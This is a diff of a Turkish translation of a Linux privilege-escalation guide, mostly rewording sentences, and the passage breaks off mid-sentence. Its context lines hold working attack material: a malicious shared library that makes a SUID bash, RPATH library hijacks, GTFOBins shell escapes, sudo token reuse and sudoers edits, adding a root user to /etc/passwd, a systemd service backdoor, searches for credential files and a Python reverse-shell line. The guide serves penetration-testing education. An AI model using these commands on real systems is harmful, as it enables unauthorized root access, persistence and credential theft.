_"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, sömürü potansiyeli olduğunu düşündürür. -Bunu sömürmek için, aşağıdaki kodu içeren bir C dosyası oluşturarak devam edilir: +Bunu sömürmek için, aşağıdaki kodu içeren bir C dosyası oluşturarak devam edilir, diyelim ki _"/path/to/.config/libcalc.c"_: ```c #include #include @@ -875,9 +874,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Bu kod, derlendikten ve çalıştırıldıktan sonra dosya izinlerini manipüle ederek ve yüksek ayrıcalıklarla bir kabuk çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. +Bu kod, derlendikten ve çalıştırıldıktan sonra dosya izinlerini manipüle ederek ayrıcalıkları yükseltmeyi ve yükseltilmiş ayrıcalıklarla bir kabuk çalıştırmayı amaçlar. -Yukarıdaki C dosyasını paylaşılan bir nesne (.so) dosyasına derlemek için: +Yukarıdaki C dosyasını paylaşılan nesne (.so) dosyasına derlemek için: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -893,7 +892,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Şimdi yazabileceğimiz bir klasörden bir kütüphane yükleyen bir SUID ikili bulduk, o klasörde gerekli isme sahip kütüphaneyi oluşturalım: +Şimdi yazma iznimizin olduğu bir klasörden bir kütüphane yükleyen bir SUID ikili bulduğumuza göre, o klasörde gerekli isme sahip kütüphaneyi oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -916,7 +915,7 @@ Bu, oluşturduğunuz kütüphanenin `a_function_name` adında bir işlev içerme [**GTFOBins**](https://gtfobins.github.io), bir saldırganın yerel güvenlik kısıtlamalarını atlamak için kullanabileceği Unix ikililerinin derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/), yalnızca bir komuta argüman enjekte edebileceğiniz durumlar için aynı işlevi görür. -Proje, Unix ikililerinin meşru işlevlerini toplar ve bunların kısıtlı kabuklardan kaçınmak, ayrıcalıkları yükseltmek veya sürdürmek, dosyaları transfer etmek, bağlama ve ters kabuklar oluşturmak ve diğer son aşama saldırı görevlerini kolaylaştırmak için kötüye kullanılabileceği durumları içerir. +Proje, kısıtlanmış kabuklardan kaçınmak, ayrıcalıkları yükseltmek veya sürdürmek, dosyaları transfer etmek, bağlama ve ters kabuklar oluşturmak ve diğer son aşama saldırı görevlerini kolaylaştırmak için Unix ikililerinin meşru işlevlerini toplar. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -929,20 +928,20 @@ Proje, Unix ikililerinin meşru işlevlerini toplar ve bunların kısıtlı kabu ### FallOfSudo -`sudo -l`'ye erişebiliyorsanız, [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) adlı aracı kullanarak herhangi bir sudo kuralını nasıl kötüye kullanabileceğinizi kontrol edebilirsiniz. +`sudo -l`'ye erişebiliyorsanız, [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanarak herhangi bir sudo kuralını nasıl sömürüleceğini kontrol edebilirsiniz. ### Sudo Token'larını Tekrar Kullanma -**Sudo erişiminiz** var ancak şifreniz yoksa, **bir sudo komutunun yürütülmesini bekleyerek ve ardından oturum belirtecinin ele geçirilmesiyle** ayrıcalıkları yükseltebilirsiniz. +**Sudo erişiminiz** var ancak şifreniz yoksa, **bir sudo komutu yürütülmesini bekleyerek ve ardından oturum belirtecinin ele geçirilmesiyle** ayrıcalıkları yükseltebilirsiniz. Ayrıcalıkları yükseltmek için gereksinimler: * Zaten "_sampleuser_" kullanıcısı olarak bir kabuğunuz var -* "_sampleuser_" **son 15 dakika içinde `sudo` kullanmış** (varsayılan olarak, şifre gerektirmeden `sudo` kullanmamıza izin veren sudo belirtecinin süresi budur) -* `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 -* `gdb` erişilebilir durumda (yükleme yapabilmelisiniz) +* "_sampleuser_"'ın **son 15 dakika içinde `sudo`** kullanmış olması (varsayılan olarak, şifre gerektirmeden `sudo` kullanmamıza izin veren sudo belirtecinin süresi budur) +* `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 olmalı +* `gdb` erişilebilir olmalı (yükleme yapabilmelisiniz) -(Bu gereksinimlerin tümü karşılanıyorsa, **şu adresten ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)) +(Bu gereksinimlerin tümü karşılanıyorsa, **aşağıdaki kullanarak ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) * **İlk saldırı** (`exploit.sh`), `activate_sudo_token` adlı ikili dosyayı _/tmp/_ dizininde oluşturacaktır. Bu dosyayı kullanarak **oturumunuzda sudo belirtecini etkinleştirebilirsiniz** (otomatik olarak kök kabuğa erişmeyeceksiniz, `sudo su` komutunu kullanın): ```bash @@ -963,14 +962,14 @@ sudo su ### /var/run/sudo/ts/\ Eğer klasörde veya klasör içinde oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) adlı ikili dosyayı kullanarak **bir kullanıcı ve PID için sudo belirteci oluşturabilirsiniz**.\ -Örneğin, _/var/run/sudo/ts/örnekkullanıcı_ dosyasını üzerine yazabilir ve PID'si 1234 olan o kullanıcı olarak kabuk erişiminiz varsa, şifreyi bilmeden sudo ayrıcalıklarını **elde edebilirsiniz**. +Örneğin, _/var/run/sudo/ts/örnekkullanıcı_ dosyasını üzerine yazabilir ve PID'si 1234 olan o kullanıcı olarak bir kabuk elde ettiyseniz, şifreyi bilmeden sudo ayrıcalıklarını **elde edebilirsiniz**. ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanabileceğini yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\ -Eğer bu dosyayı **okuyabiliyorsanız**, bazı ilginç bilgilere **erişebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız**, ayrıcalıkları **yükseltebilirsiniz**. +Eğer bu dosyayı **okuyabiliyorsanız**, bazı ilginç bilgilere **erişebilirsiniz**, ve eğer herhangi bir dosyayı **yazabilirseniz**, ayrıcalıkları **yükseltebilirsiniz**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -989,13 +988,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` ikamesi için `doas` gibi bazı seçenekler vardır OpenBSD için, yapılandırmasını kontrol etmeyi unutmayın `/etc/doas.conf` +`sudo` binary için `doas` gibi bazı alternatifler vardır OpenBSD için, yapılandırmasını kontrol etmeyi unutmayın `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Kaçırma -Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir kabuk elde ettiyseniz, **kök olarak kodunuzu çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini değiştirin (örneğin, yeni yolu .bash\_profile içine ekleyin), böylece kullanıcı sudo'yu çalıştırdığında, kendi sudo yürütülebilir dosyanız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve bu kullanıcının bağlamında bir kabuk elde ettiyseniz, **kök olarak kodunuzu çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini değiştirin (örneğin, yeni yolu .bash\_profile içine ekleyin), böylece kullanıcı sudo komutunu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır. Kullanıcının farklı bir kabuk kullandığını (bash değil) biliyorsanız, yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örnek için [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) adresine bakabilirsiniz. @@ -1020,10 +1019,10 @@ sudo ls `/etc/ld.so.conf` dosyası, **yüklü yapılandırma dosyalarının nereden geldiğini** gösterir. Genellikle, bu dosya aşağıdaki yolu içerir: `include /etc/ld.so.conf.d/*.conf` -Bu, `/etc/ld.so.conf.d/*.conf` yolundan yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin aranacağı diğer klasörlere işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib` şeklindedir. **Bu, sistemin kütüphaneleri `/usr/local/lib` klasörü içinde arayacağı anlamına gelir**. +Bu, `/etc/ld.so.conf.d/*.conf` yolundaki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin aranacağı diğer klasörlere işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib` şeklindedir. **Bu, sistemin kütüphaneleri `/usr/local/lib` klasörü içinde arayacağı anlamına gelir**. -Eğer bir kullanıcının **herhangi bir nedenden dolayı yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasındaki herhangi bir klasörde, ayrıcalıkları yükseltebilir.\ -Bu yapılandırmanın nasıl **sömürüleceğine** aşağıdaki sayfada bakın: +Eğer **bir kullanıcının** herhangi bir nedenden dolayı **yazma izinleri** varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasındaki herhangi bir klasör, o zaman ayrıcalıkları yükseltebilir.\ +Bu yanlış yapılandırmayı **nasıl sömürüleceğine** aşağıdaki sayfada bakın: {% content-ref url="ld.so.conf-example.md" %} [ld.so.conf-example.md](ld.so.conf-example.md) @@ -1040,7 +1039,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`lib`'i `/var/tmp/flag15/` dizinine kopyalayarak, programın bu yeri `RPATH` değişkeninde belirtildiği gibi kullanacaktır. +`lib` dosyasını `/var/tmp/flag15/` dizinine kopyalayarak, programın bu konumda belirtilen `RPATH` değişkeni tarafından kullanılacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1049,13 +1048,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -### Linux Yetkilendirme Yükseltme - -1. İlk olarak, `/var/tmp` dizininde kötü niyetli bir kütüphane oluşturun: - - ```bash - gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6 - ``` +Daha sonra `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` komutunu kullanarak kötü niyetli bir kütüphane oluşturun. ```c #include #define SHELL "/bin/sh" @@ -1080,11 +1073,11 @@ Yetenekler hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı okuyun ## Dizin izinleri Bir dizinde "çalıştır" biti, etkilenen kullanıcının klasöre "cd" yapabileceği anlamına gelir.\ -"Oku" biti, kullanıcının dosyaları listeleyebileceği anlamına gelir ve "yaz" biti, kullanıcının dosyaları silebileceği ve yeni dosyalar oluşturabileceği anlamına gelir. +"Okuma" biti, kullanıcının dosyaları listeleyebileceği anlamına gelir ve "yazma" biti, kullanıcının dosyaları silebileceği ve yeni dosyalar oluşturabileceği anlamına gelir. ## ACL'ler -Erişim Kontrol Listeleri (ACL'ler), geleneksel ugo/rwx izinlerini geçersiz kılabilen ikincil bir ayrıcalık katmanını temsil eder. Bu izinler, dosya veya dizin erişimini denetlemeyi geliştirir ve belirli kullanıcılara belirli hakları vererek veya reddederek grup üyeleri veya sahipleri olmayan kullanıcılara hak verir. Bu ayrıntı düzeyi, daha hassas erişim yönetimi sağlar. Daha fazla ayrıntıya [buradan](https://linuxconfig.org/how-to-manage-acls-on-linux) ulaşılabilir. +Erişim Kontrol Listeleri (ACL'ler), geleneksel ugo/rwx izinlerini geçersiz kılabilen ikincil bir ayrıcalık katmanını temsil eder. Bu izinler, dosya veya dizin erişimini denetlemeyi geliştirir, belirli kullanıcılara belirli hakları vererek veya reddederek grup sahipleri veya grup üyeleri olmayan kullanıcılara. Bu ayrıntılı erişim yönetimi seviyesi, daha hassas erişim yönetimini sağlar. Daha fazla ayrıntıya [buradan](https://linuxconfig.org/how-to-manage-acls-on-linux) ulaşılabilir. Kullanıcı "kali"ye bir dosya üzerinde okuma ve yazma izinleri verin: ```bash @@ -1100,9 +1093,9 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Açık kabuk oturumları **Eski sürümlerde**, farklı bir kullanıcının (**root**) bazı **kabuk** oturumlarını **ele geçirebilirsiniz**.\ -**En yeni sürümlerde**, yalnızca **kendi kullanıcınızın** ekran oturumlarına **bağlanabileceksiniz**. Bununla birlikte, oturum içinde **ilginç bilgiler bulabilirsiniz**. +**En yeni sürümlerde**, yalnızca **kendi kullanıcı oturumlarınıza bağlanabileceksiniz**. Bununla birlikte, oturum içinde **ilginç bilgiler bulabilirsiniz**. -### Ekran oturumları ele geçirme +### Ekran oturumlarını ele geçirme **Ekran oturumlarını listeleme** ```bash @@ -1121,7 +1114,7 @@ screen -x [user]/[session id] Bu, **eski tmux sürümleri** ile ilgili bir sorundu. Root tarafından oluşturulan bir tmux (v2.1) oturumunu ayrıcalıklı olmayan bir kullanıcı olarak ele geçiremedim. -**Tmux oturumlarını listele** +**Tmux oturumlarını listeleme** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1145,8 +1138,8 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Tahmin Edilebilir PRNG - CVE-2008-0166 -Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenebilir.\ -Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulduğunda meydana gelir, çünkü **yalnızca 32,768 varyasyon mümkündür**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarı olan kişi, karşılık gelen özel anahtarı arayabilir**. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tüm Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) Eylül 2006 ile 13 Mayıs 2008 arasında oluşturulan SSL ve SSH anahtarları bu hatadan etkilenebilir.\ +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulduğunda ortaya çıkar, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarı olan kişi, karşılık gelen özel anahtarı arayabilir**. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH İlginç yapılandırma değerleri @@ -1165,15 +1158,15 @@ Root'un ssh kullanarak giriş yapmasına izin verilip verilmediğini belirtir, v ### AuthorizedKeysFile -Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi belirteçler içerebilir, bu belirteçler ev dizini tarafından değiştirilecektir. **Mutlak yolları** (başlangıç `/`) veya **kullanıcının evinden başlayan göreceli yolları** belirtebilirsiniz. Örneğin: +Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi belirteçler içerebilir, bu belirteçler ev dizini tarafından değiştirilecektir. **Mutlak yolları** (başlangıç `/`) veya **kullanıcının evinden başlayan** **göreceli yolları** belirtebilirsiniz. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -O yapılandırma, eğer "**testusername**" kullanıcısının **özel** anahtarı ile giriş yapmaya çalışırsanız, ssh anahtarınızın genel anahtarını `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` konumundaki anahtarlarla karşılaştıracağını belirtecektir. +O yapılandırma, "**testkullanıcıadı**" kullanıcısının **özel** anahtarı ile giriş yapmaya çalışırsanız, ssh'nin anahtarınızın genel anahtarıyla `/home/testkullanıcıadı/.ssh/authorized_keys` ve `/home/testkullanıcıadı/erişim` konumlarındaki anahtarları karşılaştıracağını belirtecektir. ### ForwardAgent/AllowAgentForwarding -SSH ajan yönlendirmesi, sunucunuzda (şifresiz!) anahtarları bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza izin verir**. Bu sayede, ssh üzerinden **bir ana makineye** atlayabilecek ve oradan **başka bir** ana makineye **başka bir** anahtar kullanarak **atlayabileceksiniz**. +SSH ajan yönlendirmesi, sunucunuzda (şifresiz!) anahtarları bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza olanak tanır**. Bu sayede, ssh üzerinden bir **ana makineye** ve oradan da **başka bir** ana makinaya **atlayabilirsiniz** ve bu sırada **ilk ana makinedeki** anahtarı **kullanabilirsiniz**. Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekmektedir: ``` @@ -1182,8 +1175,8 @@ ForwardAgent yes ``` Eğer `Host` `*` ise, her seferinde kullanıcı farklı bir makineye geçtiğinde, o makine anahtarlarına erişebilecektir (bu bir güvenlik sorunudur). -Dosya `/etc/ssh_config` bu **seçenekleri geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\ -Dosya `/etc/sshd_config` ssh-agent yönlendirmesine izin verebilir veya reddedebilir ve `AllowAgentForwarding` anahtar kelimesiyle yapılandırılabilir (varsayılan olarak izin verilir). +`/etc/ssh_config` dosyası bu **seçenekleri geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\ +`/etc/sshd_config` dosyası `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine izin verebilir veya reddedebilir (varsayılan olarak izin verilir). Eğer bir ortamda Forward Agent yapılandırıldığını fark ederseniz, **yetkileri yükseltmek için bunu kötüye kullanabilirsiniz**: @@ -1195,15 +1188,15 @@ Eğer bir ortamda Forward Agent yapılandırıldığını fark ederseniz, **yetk ### Profil Dosyaları -`/etc/profile` dosyası ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir kabuk çalıştırdığında **çalıştırılan betiklerdir**. Bu nedenle, bunlardan herhangi birini **yazabilir veya değiştirebilirseniz yetkileri yükseltebilirsiniz**. +`/etc/profile` dosyası ve `/etc/profile.d/` altındaki dosyalar, **bir kullanıcı yeni bir kabuk çalıştırdığında yürütülen betiklerdir**. Dolayısıyla, bunlardan herhangi birini **yazabilir veya değiştirebilirseniz yetkileri yükseltebilirsiniz**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Eğer garip bir profil betiği bulunursa, onu **duyarlı detaylar** açısından kontrol etmelisiniz. - ### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyalarının farklı bir isim kullanıyor olabileceği veya bir yedek dosya olabileceği için **hepsini bulmanız** ve içerisinde **hash'lerin olup olmadığını** görmek için onları okuyup okuyamadığınızı kontrol etmeniz önerilir: +Eğer herhangi bir garip profil betiği bulunursa, onu **duyarlı detaylar** açısından kontrol etmelisiniz. + +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyalarının farklı bir isim kullanıyor olabileceği veya bir yedek kopya olabileceği unutulmamalıdır. Bu nedenle **hepsini bulmanız** ve içerisinde **hash'lerin olup olmadığını** görmek için onları okuyup okuyamadığınızı kontrol etmeniz önerilir: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1222,7 +1215,7 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ardından `hacker` kullanıcısını ekleyin ve oluşturulan şifreyi ekleyin. +Ardından kullanıcı `hacker` ekleyin ve oluşturulan şifreyi ekleyin. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1243,7 +1236,7 @@ Bazı **duyarlı dosyalara yazabilir mi** kontrol etmelisiniz. Örneğin, bazı find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, eğer makine **tomcat** sunucusunu çalıştırıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: +Örneğin, makine **tomcat** sunucusunu çalıştırıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root @@ -1280,7 +1273,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_geçmiş, .sudo\_olarak\_admin\_başarılı, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.eşdeğer, Dockerfile, docker-compose.yml dosyaları +### \*\_geçmişi, .sudo\_olarak\_yönetici\_olarak\_başarılı, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.eşdeğeri, Dockerfile, docker-compose.yml dosyaları ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1307,17 +1300,17 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Bilinen şifre içeren dosyalar [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek çeşitli dosyaları arar**.\ -Bunu yapmak için kullanabileceğiniz **başka ilginç bir araç** ise: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) Windows, Linux ve Mac için yerel bir bilgisayarda depolanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır. +Bunu yapmak için kullanabileceğiniz **başka ilginç bir araç** ise: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) Windows, Linux ve Mac'te saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır. -### Günlükler +### Kayıtlar -Günlükleri okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler bulabilirsiniz**. Günlük ne kadar garip olursa, o kadar ilginç olacaktır (muhtemelen).\ -Ayrıca, bazı "**kötü**" yapılandırılmış (arkadan açık kapılı?) **denetim günlükleri**, size şifreleri **denetim günlüklerinin içine kaydetmenize** izin verebilir, bu konuyla ilgili olarak şu yazıda açıklanmıştır: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Kayıtları okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler bulabilirsiniz**. Kayıt ne kadar garipse, o kadar ilginç olacaktır (muhtemelen).\ +Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim kayıtları**, size **denetim kayıtlarının içine şifre kaydetmenize izin verebilir**. Bu konuyla ilgili olarak şu yazıda açıklandığı gibi: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**Günlükleri okumak için** [**adm**](ilginc-gruplar-linux-pe/#adm-grubu) grubu gerçekten yardımcı olacaktır. +**Günlükleri okumak için** [**adm**](ilginc-gruplar-linux-pe/#adm-grubu) **grubu gerçekten yardımcı olacaktır.** ### Kabuk dosyaları ```bash @@ -1330,12 +1323,12 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Genel Kimlik Bilgileri Arama/Regex +### Genel Kimlik Bilgisi Arama/Regex -Ayrıca, adında "**password**" kelimesini içeren dosyaları ve içeriğinde de bu kelimeyi içeren dosyaları kontrol etmelisiniz, ayrıca log dosyalarında IP'ler ve e-postaları veya hash'leri regexlerini kontrol edin.\ -Bunların hepsini nasıl yapacağını burada listelemeyeceğim, ancak ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz. +Ayrıca, adında "**password**" kelimesini içeren dosyaları ve içeriğinde de bu kelimeyi içeren dosyaları kontrol etmelisiniz, ayrıca log dosyalarında IP'leri ve e-postaları veya hash'leri regexlerle kontrol etmelisiniz.\ +Bunların hepsini nasıl yapacağını burada listeleyeceğim, ancak ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz. -## Yazılabilir Dosyalar +## Yazılabilir dosyalar ### Python kütüphane kaçırma @@ -1347,21 +1340,23 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate sömürüsü -`logrotate`'daki bir zafiyet, bir günlük dosyasında veya üst dizinlerinde **yazma izinlerine** sahip olan kullanıcıların ayrıcalıklarını yükseltebilmelerine olanak tanır. Bu, genellikle **root** olarak çalışan `logrotate`'un, özellikle _**/etc/bash\_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştırmak için manipüle edilebileceği anlamına gelir. İzinleri sadece _/var/log_ dizininde değil, aynı zamanda günlük döndürmenin uygulandığı herhangi bir dizinde kontrol etmek önemlidir. +`logrotate`'daki bir zafiyet, bir günlük dosyasında veya üst dizinlerinde **yazma izinlerine** sahip olan kullanıcıların ayrıcalıklarını yükseltebilmelerine olanak tanır. Bu, genellikle **root** olarak çalışan `logrotate`'un, özellikle _**/etc/bash\_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştırmak üzere manipüle edilebileceği anlamına gelir. İzinleri sadece _/var/log_ dizininde değil, aynı zamanda günlük döndürmenin uygulandığı herhangi bir dizinde kontrol etmek önemlidir. {% hint style="info" %} -Bu zafiyet, `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler +Bu zafiyet, `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler. {% endhint %} +Bu zafiyet hakkında daha detaylı bilgiye şu sayfada ulaşabilirsiniz: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). + Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile sömürebilirsiniz. -Bu zafiyet, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerdir, bu nedenle günlükleri değiştirebileceğiniz durumlarda, günlükleri kimin yönettiğini kontrol edin ve günlükleri sembollerle değiştirerek ayrıcalıkları yükseltebileceğinizi kontrol edin. +Bu zafiyet, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerdir, bu yüzden günlükleri değiştirebileceğinizi fark ettiğinizde, günlükleri kimin yönettiğini kontrol edin ve simgelerle günlükleri değiştirerek ayrıcalıkları yükseltebileceğinizi kontrol edin. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -Herhangi bir nedenden dolayı bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` betiği **yazabilirse** veya var olan bir 